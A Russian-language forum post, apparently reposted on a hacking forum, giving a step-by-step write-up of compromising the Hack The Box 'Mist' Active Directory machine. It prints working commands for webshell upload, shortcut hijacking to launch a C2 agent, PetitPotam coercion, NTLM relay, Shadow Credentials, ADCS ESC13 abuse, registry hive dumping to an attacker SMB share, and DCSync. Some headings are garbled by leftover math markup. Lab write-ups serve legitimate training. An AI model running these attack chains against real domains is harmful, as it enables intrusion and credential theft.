• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Используем технику ESC13 для захвата домена Active Directory

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,179
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу ряд атак ESC13 на службу сертификации Active Directory, в результате которых мы захватим домен Windows. На пути к этому придется решить еще несколько проблем: получить сессию на хосте через уязвимый веб‑сервис, подменить ярлык, вскрыть хеш пароля при помощи UnPAC the hash, использовать принудительную аутентификацию и атаку Shadow Credentials и применить другие техники атак на AD.
Наша цель — получение прав суперпользователя на машине Mist с учебной площадки Hack The Box. Уровень сложности задания — «безумный».

warning​

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.17 mist.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта
Сканер обнаружил всего один открытый порт: 80 — веб‑сервер Apache 2.4.52. На сайте нас ожидает система Pluck 4.7.18.

Главная страница сайта
Главная страница сайта

Точка входа​

При попытке перейти к управлению в системе нас встретит форма аутентификации.

Форма аутентификации
Форма аутентификации
Первым делом стоит проверить, есть ли для обнаруженной CMS готовые эксплоиты. Идем за ними прямиком в Google.

Поиск эксплоитов в Google
Поиск эксплоитов в Google
Обнаруживаем, что в этой версии Pluck есть возможность разместить веб‑шелл через загрузку модуля и тем самым получить RCE. Но проблема в том, что сперва нужно получить доступ к управлению веб‑приложением.

Так как версия приложения не самая новая, переходим к поиску других эксплоитов. В модуле albums в функции получения изображений есть Для просмотра ссылки Войди или Зарегистрируйся, что позволит нам получить содержимое любого файла.

Описание уязвимости
Описание уязвимости
Но пример из PoC не сработал, запрос был заблокирован.

Сообщение о блокировке
Сообщение о блокировке
Посмотрим, какие еще есть интересные модули и файлы. Для этого просканируем каталоги с помощью Для просмотра ссылки Войди или Зарегистрируйся. При запуске используем следующие параметры:

  • -u — URL;
  • -d — глубина сканирования.
feroxbuster -u [URL]http://mist.htb/[/URL] -d 2
Результат сканирования каталогов
Результат сканирования каталогов
Пройдемся по найденным каталогам и заметим, что директория /data/settings/modules/albums не индексируется и мы можем получить доступ ко всем файлам внутри нее.

Содержимое каталога albums
Содержимое каталога albums
Теперь используем найденную ранее уязвимость LFI для чтения содержимого файла admin_backup.php.

Содержимое файла admin_backup.php
Содержимое файла admin_backup.php
В файле есть какой‑то хеш, попробуем его подобрать.


Точка опоры​

Брутить хеш будем с помощью hashcat. У него есть возможность автоматического определения типа хеша, поэтому передаем ему только хеш и словарь для перебора. Но под этот формат подходит несколько алгоритмов, о чем утилита нам и сообщит.

hashcat 'c81dd.....ce81e' rockyou.txt
Вывод hashcat
Вывод hashcat
Из представленных алгоритмов наиболее популярен SHA2-512. При повторном запуске hashcat добавим номер алгоритма в параметре -m.

hashcat -m 1700 'c81dd.....ce81e' rockyou.txt
Результат подбора пароля
Результат подбора пароля
С этим паролем можно авторизоваться в системе Pluck и попробовать получить RCE через загрузку собственного модуля.

Главная страница Pluck
Главная страница Pluck

Переходим на страницу Для просмотра ссылки Войди или Зарегистрируйся и загружаем архив pwn123.zip, который содержит Для просмотра ссылки Войди или Зарегистрируйся. Даем ему название pwn123.php. Затем переходим к странице загруженного модуля:

[URL unfurl="true"]http://10.10.11.17/data/modules/pwn123/pwn123.php[/URL]
И нас встречает PHP-шелл.

Для просмотра ссылки Войди или Зарегистрируйся

Продвижение​

Так как через веб‑шелл работать неудобно, я воспользовался Для просмотра ссылки Войди или Зарегистрируйся.

Сессия в C2 Havoc
Сессия в C2 Havoc

Следующим шагом нам нужно собрать информацию. Я буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на хост исполняемый файл для Windows и запустим сканирование. Вывод утилиты будем сохранять в файл.

WinPEAS.exe > wp.txt
Спустя несколько минут командой download скачиваем файл с собранной информацией и просматриваем его на своем компьютере. Там будет много всего, попробуем выделить только то, что нам поможет в продвижении.

В систему выполнили вход три пользователя.

Список залогиненных пользователей
Список залогиненных пользователей

В кеше DNS находим запись о контроллере домена dc01 (192.168.100.100).

Кеш DNS
Кеш DNS
На хосте есть доступные сетевые ресурсы.

Общие сетевые ресурсы
Общие сетевые ресурсы
Больше всего нас должен заинтересовать общий каталог C:\Common Applications, так как это не дефолтная настройка. Просмотрим содержимое этой директории.

Содержимое каталога C:\Common Applications
Содержимое каталога C:\Common Applications

В общем каталоге — несколько ярлыков, а у нас есть право на запись. Стандартная практика в такой ситуации — поменять ярлык так, чтобы он выполнял нужные нам команды, например запуск агента Havoc.

Код:
powershell "$objShell = New-Object -ComObject WScript.Shell ; $lnk = $objShell.CreateShortcut('C:\Common Applications\Calculator.lnk') ; $lnk.TargetPath = 'C:\xampp\htdocs\files\a.exe' ; $lnk.Save()"
powershell "$objShell = New-Object -ComObject WScript.Shell ; $lnk = $objShell.CreateShortcut('C:\Common Applications\Notepad.lnk') ; $lnk.TargetPath = 'C:\xampp\htdocs\files\a.exe' ; $lnk.Save()"
powershell "$objShell = New-Object -ComObject WScript.Shell ; $lnk = $objShell.CreateShortcut('C:\Common Applications\Wordpad.lnk') ; $lnk.TargetPath = 'C:\xampp\htdocs\files\a.exe' ; $lnk.Save()"

И спустя пару минут получаем сессию от имени пользователя Brandon.Keywarp.

Информация о сессии
Информация о сессии

Пользователь Brandon.Keywarp​

Теперь, когда мы получили сессию доменного пользователя, можно собрать информацию в домене. Лучше всего для этого подходит инструмент Для просмотра ссылки Войди или Зарегистрируйся. Запускать бинари .NET в памяти агента Havoc можно командой dotnet inline-execute.

dotnet inline-execute SharpHound.exe -c All --domaincontroller 192.168.100.100
Построив граф BloodHound от текущего пользователя, можно найти в сети центр сертификации Active Directory.

Граф BloodHound
Граф BloodHound

Так как в домене есть ADCS, а сессию пользователя мы получили без использования каких‑либо учетных данных, нам стоит задействовать технику UnPAC the hash, чтобы выяснить NTLM-хеш пароля пользователя. Первом делом запустим утилиту Для просмотра ссылки Войди или Зарегистрируйся, чтобы запросить сертификат пользователя.

dotnet inline-execute /home/ralf/tmp/SharpCollection/last/Certify.exe request /ca:DC01.mist.htb\mist-DC01-CA /template:User
Получение сертификата пользователя
Получение сертификата пользователя

Сертификат представлен в формате PEM. Копируем его на свою машину и конвертируем в формат PFX.

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
А теперь с помощью Для просмотра ссылки Войди или Зарегистрируйся по сертификату пользователя запрашиваем билет TGT и извлекаем из него NTLM-хеш пароля пользователя (параметр getcredentials). Сертификат необходимо закодировать в Base64 и передать в параметре certificate.

.\Rubeus.exe asktgt /user:brandon.keywarp /certificate:..... /getcredentials /show /nowrap
Получение NTLM-хеша
Получение NTLM-хеша

Валидировать полученную учетку можно с помощью Для просмотра ссылки Войди или Зарегистрируйся. Так как трафик необходимо туннелировать, предварительно в агенте Havoc командой socks add 1080 запустим сервер Socks5. В файле /etc/proxychains.conf пропишем настройку socks5 127.0.0.1 1080. Так с помощью proxychains можно туннелировать трафик через агент Havoc во внутреннюю сеть.

proxychains -q nxc smb 192.168.100.101 -u brandon.keywarp -H DB03D6A77A2205BC1D07082740626CC9
Проверка учетных данных
Проверка учетных данных
Затем таким же образом проверим подпись LDAP в домене. В этом поможет модуль ldap-checker для команды ldap.

proxychains -q nxc ldap dc01.mist.htb -u brandon.keywarp -H DB03D6A77A2205BC1D07082740626CC9 -M ldap-checker
Проверка подписи LDAP
Проверка подписи LDAP

Подпись LDAP в домене не требуется, а значит, будем проверять методы принудительной аутентификации для потенциального выполнения ретрансляционных атак. Запускаем Для просмотра ссылки Войди или Зарегистрируйся и используем Для просмотра ссылки Войди или Зарегистрируйся для принудительной аутентификации с сервера MS01 на нашем листенере.

proxychains -q python3 PetitPotam.py -u 'brandon.keywarp' -d mist.htb -hashes ':db03d6a77a2205bc1d07082740626cc9' 10.10.14.8 192.168.100.101 -pipe all
Полученный NetNTLMv2-хеш в респондере
Полученный NetNTLMv2-хеш в респондере

На Responder прилетает хеш, а значит, сервер уязвим к PetitPotam.


NTLM Relay​

Первая идея — это релей хеша на LDAP для выполнения ShadowCreds и компрометации хоста. Но для этого хеш должен быть не с SMB, так как там используется подпись, а с HTTP. Для этого с помощью утилиты Для просмотра ссылки Войди или Зарегистрируйся активируем на хосте WebDAV. Проверить работу WebDAV можно через Для просмотра ссылки Войди или Зарегистрируйся.

shell GetWebDAVStatus.exe 192.168.100.101

shell SharpStartWebclient.exe
Активация WebDAV
Активация WebDAV

Теперь для эксплуатации PetitPotam c HTTP необходимо сделать надежный туннель. Для этого я использовал тулзу Для просмотра ссылки Войди или Зарегистрируйся. Загружаем архив на удаленный хост и распаковываем с помощью PowerShell.

Expand-Archive -Path C:\xampp\htdocs\files\socat.zip -DestinationPath C:\xampp\htdocs\files\
Будем туннелировать весь трафик с порта 5432 сервера MS01 на порт 80 нашей атакующей машины.

shell socat.exe tcp-listen:5432,reuseaddr,fork tcp:10.10.14.8:80
Почти все готово для атаки, осталось настроить редиректор ntlmrelayx. Для эксплуатации ShadowCreds будем использовать Для просмотра ссылки Войди или Зарегистрируйся пользователя fortra.

Код:
pip3 install pyOpenSSL==24.0.0
proxychains -q ntlmrelayx.py -t ldaps://dc01.mist.htb -smb2support -domain mist.htb --http-port 8888 --no-smb -i

Теперь снова запускаем PetitPotam и в качестве машины для аутентификации указываем MS01@5432.

proxychains -q python3 PetitPotam.py -u 'brandon.keywarp' -d mist.htb -hashes ':db03d6a77a2205bc1d07082740626cc9' -pipe all 'MS01@5432/ralf' '192.168.100.101'

Сервер пройдет аутентификацию по HTTP, трафик будет туннелирован через Socat на редиректор ntlmrelayx, откуда через Socks трафик Havoc будет туннелирован службе LDAP на контроллере домена.

Выполнение релей-атаки с HTTP на LDAP
Выполнение релей‑атаки с HTTP на LDAP

Атака проведена успешно, можем подключиться к интерактивному LDAP-шеллу и использовать технику ShadowCreds для формирования сертификата, который мы повесим на учетную запись машины MS01.

nc 127.0.0.1 11000

Код:
clear_shadow_creds MS01$
set_shadow_creds MS01$

Выполнение ShadowCreds
Выполнение ShadowCreds
Теперь снимем пароль с сертификата и через технику UnPAC the hash по сертификату машинной учетной записи получим ее NTLM-хеш.

certipy cert -export -pfx '87A0bfVH.pfx' -password 'oNOsPXtyUUkIkyCHgY0b' -out ms01.pfx

proxychains -q certipy auth -pfx ms01.pfx -domain mist.htb -username 'MS01$' -dc-ip 192.168.100.100 -ns 192.168.100.100
Хеш пароля пользователя
Хеш пароля пользователя

Используя NTLM-хеш машинной учетной записи, мы можем при помощи инструмента Для просмотра ссылки Войди или Зарегистрируйся запросить для нее билет TGT, а затем c этим билетом через расширение S4U получить билет TGS для любой службы, работающей от имени машинной учетной записи, на имя любого пользователя домена. Будем получать тикет администратора для службы CIFS.

dotnet inline-execute Rubeus.exe asktgt /nowrap /user:ms01$ /domain:mist.htb /rc4:6c8836240c39914164ee3d85fe4bf352 /nowrap
Получение TGT для MS01<span class=katex><span class=katex-mathml><math xmlns=http://www.w3.org/1998/Math/MathML><semantics><mrow><msup><mrow></mrow><mo mathvariant=normal lspace=0em rspace=0em>′</mo></msup><mi>t</mi><mi>i</mi><mi>t</mi><mi>l</mi><mi>e</mi><msup><mo>=</mo><mo mathvariant=normal lspace=0em rspace=0em>′</mo></msup><mtext>Получение</mtext><mi>T</mi><mi>G</mi><mi>T</mi><mtext>для</mtext><mi>M</mi><mi>S</mi><mn>01</mn></mrow><annotation encoding=application/x-tex>' title='Получение TGT для MS01</annotation></semantics></math></span><span class=katex-html aria-hidden=true><span class=base><span class=strut style=height:0.7519em;></span><span class=mord><span></span><span class=msupsub><span class=vlist-t><span class=vlist-r><span class=vlist style=height:0.7519em;><span style=top:-3.063em;margin-right:0.05em;><span class=pstrut style=height:2.7em;></span><span class=sizing reset-size6 size3 mtight><span class=mord mtight><span class=mord mtight>′</span></span></span></span></span></span></span></span></span><span class=mord mathnormal>t</span><span class=mord mathnormal>i</span><span class=mord mathnormal style=margin-right:0.01968em;>tl</span><span class=mord mathnormal>e</span><span class=mspace style=margin-right:0.2778em;></span><span class=mrel><span class=mrel>=</span><span class=msupsub><span class=vlist-t><span class=vlist-r><span class=vlist style=height:0.7519em;><span style=top:-3.063em;margin-right:0.05em;><span class=pstrut style=height:2.7em;></span><span class=sizing reset-size6 size3 mtight><span class=mord mtight><span class=mord mtight>′</span></span></span></span></span></span></span></span></span><span class=mspace style=margin-right:0.2778em;></span></span><span class=base><span class=strut style=height:0.8778em;vertical-align:-0.1944em;></span><span class=mord cyrillic_fallback>Получение</span><span class=mord mathnormal style=margin-right:0.13889em;>TGT</span><span class=mord cyrillic_fallback>для</span><span class=mord mathnormal style=margin-right:0.05764em;>MS</span><span class=mord>01</span></span></span></span>
Получение TGT для MS01$

dotnet inline-execute Rubeus.exe s4u /self /impersonateuser:Administrator /altservice:"cifs/ms01.mist.htb" /ticket:doIFLDC.....C5odGI= /nowrap
Получение TGS для Administrator
Получение TGS для Administrator

Благодаря технике AnySPN мы можем использовать полученный TGS для доступа к любой службе на хосте, а не только CIFS. Утилитой Для просмотра ссылки Войди или Зарегистрируйся сконвертируем его на локальной машине в формат ccache и сдампим учетные данные с хоста MS01.

Код:
python3 rubeustoccache.py 'doIF2.....5odGI=' ms01.kirbi ms01.ccache

KRB5CCNAME=/ms01.ccache proxychains -q impacket-secretsdump 'mist.htb/Administrator'@ms01.mist.htb -k -no-pass
Содержимое базы SAM на хосте MS01
Содержимое базы SAM на хосте MS01

С хешем локального администратора получаем управление через службу WinRM и читаем первый флаг.

proxychains -q evil-winrm -i 192.168.100.101 -u Administrator -H 711e6a685af1c31c4029c3c7681dd97b
Флаг пользователя
Флаг пользователя

Пользователь OP_SHARON.MULLARD​

Запускаем на хосте агент Havoc от имени администратора и просматриваем файловую систему. В папке Users находим домашний каталог пользователя Sharon.Mullard.

Содержимое каталога C:\Users
Содержимое каталога C:\Users
Заглянув туда, находим в папке Documents базы менеджера паролей KeePass, а также две картинки в каталоге My Pictures.

Содержимое каталога Documents
Содержимое каталога Documents
Содержимое каталога My Pictures
Содержимое каталога My Pictures
Скачиваем файлы на локальную машину. На первой картинке изображены обычные коты, а вот на второй скриншот с TODO, запросы в Google и часть ключа.

Скачанные изображения
Скачанные изображения

Видимо, изображение с котами тоже может быть ключевой информацией для базы KeePass. При этом на скриншоте с паролем мы можем узнать первые 14 символов, а над словом Output видим длину полного пароля — 15. Попробуем подобрать единственный неизвестный символ. Первым делом c помощью keepass2john извлечем хеш пароля, а затем по маске подберем недостающий символ.

Получение хеша
Получение хеша
hashcat -a 3 -m 13400 keepass_hash.txt 'UA7cpa[#1!_*ZX?'
Пароль для базы KeePass
Пароль для базы KeePass

Открываем базу и получаем пароль еще одного пользователя домена.

Содержимое базы KeePass
Содержимое базы KeePass

Из базы BloodHound узнаём, что у пользователя есть несколько учетных записей. Судя по подсказке operative account из KeePass, скорее всего, пароль имеет отношение к аккаунту OP_SHARON.MULLARD.

Поиск по базе BloodHound
Поиск по базе BloodHound

Для точности валидируем пароль с помощью NetExec.

Код:
proxychains -q nxc smb 192.168.100.101 -d mist.htb -u 'OP_SHARON.MULLARD' -p 'ImTiredOfThisJob'

proxychains -q nxc smb 192.168.100.101 -d mist.htb -u 'SHARON.MULLARD' -p 'ImTiredOfThisJob'

Проверка учетных данных
Проверка учетных данных
Таким образом, мы компрометируем еще одну учетную запись.


Группа Certificate Managers​

Возвращаемся к BloodHound и перестраиваем граф от пользователя OP_SHARON.MULLARD.

Пользователь входит в группу OPERATIVES, которая имеет право чтения пароля управляемой учетной записи SVC_CA$.

Граф BloodHound
Граф BloodHound
SVC_CA$, в свою очередь, входит в группу Certificate Services. Члены этой группы могут запрашивать сертификаты для шаблона ManagerAuthentication и имеют право AddKeyCredentialLink на учетную запись Svc_CaBackup.

Граф BloodHound
Граф BloodHound

Svc_CaBackup может лишь запросить сертификат по тому же шаблону ManagerAuthentication.

Граф BloodHound
Граф BloodHound

Вернемся к управляемой учетной записи SVC_CA$.

Справка: управляемые учетные записи​

Управляемые учетные записи (MSA) — это специальный тип учетных записей Active Directory, которые можно использовать для безопасного запуска служб, приложений и заданий планировщика. Основная их идея в том, что паролем таких учетных записей полностью управляет Active Directory. Для них автоматически генерируется сложный пароль длиной 240 символов, который меняется автоматически каждые 30 дней. Для аутентификации используется только Kerberos, так как интерактивный вход невозможен. Это связано с тем, что пароль не известен никому и не хранится в локальной системе, поэтому его нельзя извлечь из системного процесса LSASS с помощью Mimikatz.
Получить хеши паролей MSA можно с помощью модуля gmsa для NetExec.

proxychains -q nxc ldap dc01.mist.htb -d mist.htb -u 'OP_SHARON.MULLARD' -p 'ImTiredOfThisJob:(' --gmsa
Хеш пароля svc_ca<span class=katex><span class=katex-mathml><math xmlns=http://www.w3.org/1998/Math/MathML><semantics><mrow><msup><mrow></mrow><mo mathvariant=normal lspace=0em rspace=0em>′</mo></msup><mi>t</mi><mi>i</mi><mi>t</mi><mi>l</mi><mi>e</mi><msup><mo>=</mo><mo mathvariant=normal lspace=0em rspace=0em>′</mo></msup><mtext>Хешпароля</mtext><mi>s</mi><mi>v</mi><msub><mi>c</mi><mi>c</mi></msub><mi>a</mi></mrow><annotation encoding=application/x-tex>' title='Хеш пароля svc_ca</annotation></semantics></math></span><span class=katex-html aria-hidden=true><span class=base><span class=strut style=height:0.7519em;></span><span class=mord><span></span><span class=msupsub><span class=vlist-t><span class=vlist-r><span class=vlist style=height:0.7519em;><span style=top:-3.063em;margin-right:0.05em;><span class=pstrut style=height:2.7em;></span><span class=sizing reset-size6 size3 mtight><span class=mord mtight><span class=mord mtight>′</span></span></span></span></span></span></span></span></span><span class=mord mathnormal>t</span><span class=mord mathnormal>i</span><span class=mord mathnormal style=margin-right:0.01968em;>tl</span><span class=mord mathnormal>e</span><span class=mspace style=margin-right:0.2778em;></span><span class=mrel><span class=mrel>=</span><span class=msupsub><span class=vlist-t><span class=vlist-r><span class=vlist style=height:0.7519em;><span style=top:-3.063em;margin-right:0.05em;><span class=pstrut style=height:2.7em;></span><span class=sizing reset-size6 size3 mtight><span class=mord mtight><span class=mord mtight>′</span></span></span></span></span></span></span></span></span><span class=mspace style=margin-right:0.2778em;></span></span><span class=base><span class=strut style=height:0.8778em;vertical-align:-0.1944em;></span><span class=mord cyrillic_fallback>Хешпароля</span><span class=mord mathnormal>s</span><span class=mord mathnormal style=margin-right:0.03588em;>v</span><span class=mord><span class=mord mathnormal>c</span><span class=msupsub><span class=vlist-t vlist-t2><span class=vlist-r><span class=vlist style=height:0.1514em;><span style=top:-2.55em;margin-left:0em;margin-right:0.05em;><span class=pstrut style=height:2.7em;></span><span class=sizing reset-size6 size3 mtight><span class=mord mathnormal mtight>c</span></span></span></span><span class=vlist-s></span></span><span class=vlist-r><span class=vlist style=height:0.15em;><span></span></span></span></span></span></span><span class=mord mathnormal>a</span></span></span></span>
Хеш пароля svc_ca$
Теперь, воспользовавшись правом AddKeyCredentialLink на учетную запись Svc_CaBackup, проведем атаку Shadow Credentials. Это позволит нам получить хеш пароля учетной записи Svc_CaBackup.

proxychains -q certipy shadow auto -username 'svc_ca$@mist.htb' -hashes :510b6e5c88b2282cea97e68d5185b4a4 -account svc_cabackup -dc-ip 192.168.100.100
Эксплуатация ShadowCreds
Эксплуатация ShadowCreds
Таким образом, мы скомпрометировали еще две учетные записи.


ESC13​

Теперь построим граф от группы Certificate Services и увидим интересные связи. Члены этой группы могут получить сертификат по шаблону ManagerAuthentication. Этот шаблон настроен с помощью политики ManagerIssuance, связанной через OID Group Link с группой Certificate Managers.

Граф BloodHound
Граф BloodHound

Группа Certificate Managers входит в другую группу — CA Backup, члены которой могут получить сертификат по шаблону BackupSvcAuthentication. Это шаблон настроен с помощью политики Backup Policy, связанной через OID Group Link с группой Service Accounts.

Граф BloodHound
Граф BloodHound

Граф BloodHound
Граф BloodHound

Техника эксплуатации, известная как ADCS ESC13, позволяет злоумышленнику получить доступ к ресурсам корпоративной сети при определенных условиях. У пользователя или компьютера должны быть права на регистрацию сертификата по шаблону, который настроен с использованием политики выдачи, содержащей OID Group Link — идентификатор, связывающий сертификат с конкретной группой пользователей.

Если пользователь или компьютер, обладающий такими правами, регистрирует сертификат по этому шаблону, то сертификат будет связывать его с определенной группой, указанной в OID Group Link. Это позволяет злоумышленнику, получившему доступ к такому сертификату, входить в сеть с привилегиями члена группы, даже если он не является ее реальным участником.

Будучи членом группы Certificate Services, мы можем получить сертификат по шаблону ManagerAuthentication. Тогда при аутентификации по этому сертификату сервис будет воспринимать нас как члена группы Certificate Managers, хотя фактически мы в ней не состоим.

Перед эксплуатацией обновим запись в файле /etc/hosts.

192.168.100.100 dc01.mist.htb mist.htb mist-DC01-CA
А теперь запросим сертификат по шаблону ManagerAuthentication от имени пользователя Svc_CaBackup.

proxychains -q certipy req -u '[EMAIL]svc_cabackup@mist.htb[/EMAIL]' -hashes :c9872f1bc10bdd522c12fc2ac9041b64 -dc-ip 192.168.100.100 -dns 192.168.100.100 -dns-tcp -ca mist-DC01-CA -target DC01.mist.htb -template ManagerAuthentication -key-size 4096 -out ~/tmp/HTB/mist/ManagerAuthentication
Для просмотра ссылки Войди или Зарегистрируйся
Теперь по сертификату получим TGT-билет пользователя. Так как в TGT будет идентификатор группы Certificate Managers, запросим сертификат по шаблону BackupSvcAuthentication.

proxychains -q certipy auth -pfx /home/ralf/tmp/HTB/mist/ManagerAuthentication.pfx -dc-ip 192.168.100.100

KRB5CCNAME=svc_cabackup.ccache proxychains -q certipy req -u '[EMAIL]svc_cabackup@mist.htb[/EMAIL]' -k -no-pass -dc-ip 192.168.100.100 -dns 192.168.100.100 -dns-tcp -ca mist-DC01-CA -target DC01.mist.htb -template 'BackupSvcAuthentication' -key-size 4096 -out ~/tmp/HTB/mist/BackupSvcAuthentication
Получение сертификата BackupSvcAuthentication
Получение сертификата BackupSvcAuthentication
Теперь у нас есть сертификат, по которому мы можем аутентифицироваться как член группы Service Accounts.


Локальное повышение привилегий​

С помощью скрипта Для просмотра ссылки Войди или Зарегистрируйся снова получаем тикет TGT по сертификату.

proxychains -q certipy auth -pfx /home/ralf/tmp/HTB/mist/BackupSvcAuthentication.pfx -dc-ip 192.168.100.100
Для просмотра ссылки Войди или Зарегистрируйся
Теперь у нас есть билет, который содержит RID группы ServiceAccounts. Члены этой группы имеют право на дамп системных ключей реестра. Нас, конечно же, будут интересовать ключи SAM, SECURITY и SYSTEM, так как они содержат данные не только локальных учетных записей, но и системы.

Сдампить ключи реестра удаленно позволяет скрипт impacket-reg. Но если дамп сохранится на удаленной машине, мы не сможем до него дотянуться. Поэтому с помощью impacket-smbserver откроем свой SMB-ресурс и сохраним дампы на нем.

Код:
sudo smbserver.py -smb2support share .
KRB5CCNAME=svc_cabackup.ccache proxychains -q reg.py 'mist.htb/svc_cabackup@dc01.mist.htb' -k -no-pass -dc-ip 192.168.100.100 save -keyName 'HKLM\SAM' -o '\\10.10.14.45\share'
KRB5CCNAME=svc_cabackup.ccache proxychains -q reg.py 'mist.htb/svc_cabackup@dc01.mist.htb' -k -no-pass -dc-ip 192.168.100.100 save -keyName 'HKLM\SECURITY' -o '\\10.10.14.45\share'
KRB5CCNAME=svc_cabackup.ccache proxychains -q reg.py 'mist.htb/svc_cabackup@dc01.mist.htb' -k -no-pass -dc-ip 192.168.100.100 save -keyName 'HKLM\SYSTEM' -o '\\10.10.14.45\share'

Дамп ключей реестра
Дамп ключей реестра
Логи SMB-сервера
Логи SMB-сервера
Когда дамп уже у нас, распарсим его через impacket-secretsdump.

secretsdump.py -sam SAM.save -system SYSTEM.save -security SECURITY.save LOCAL
Учетные данные DC01
Учетные данные DC01
Так мы получаем хеш пароля машинной учетной записи контроллера домена, у которой есть право репликации учетных данных. Выполняем DCSync для получения хеша пароля администратора домена.

proxychains -q secretsdump.py 'mist.htb/DC01$'@192.168.100.100 -hashes :e768c4cf883a87ba9e96278990292260 -just-dc-user Administrator
Результат выполнения DCSync
Результат выполнения DCSync

С полученными учетными данными подключаемся к контроллеру домена по WinRM и забираем второй флаг.

proxychains -q evil-winrm -i 192.168.100.100 -u Administrator -H b46782b9365344abdff1a925601e0385
Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу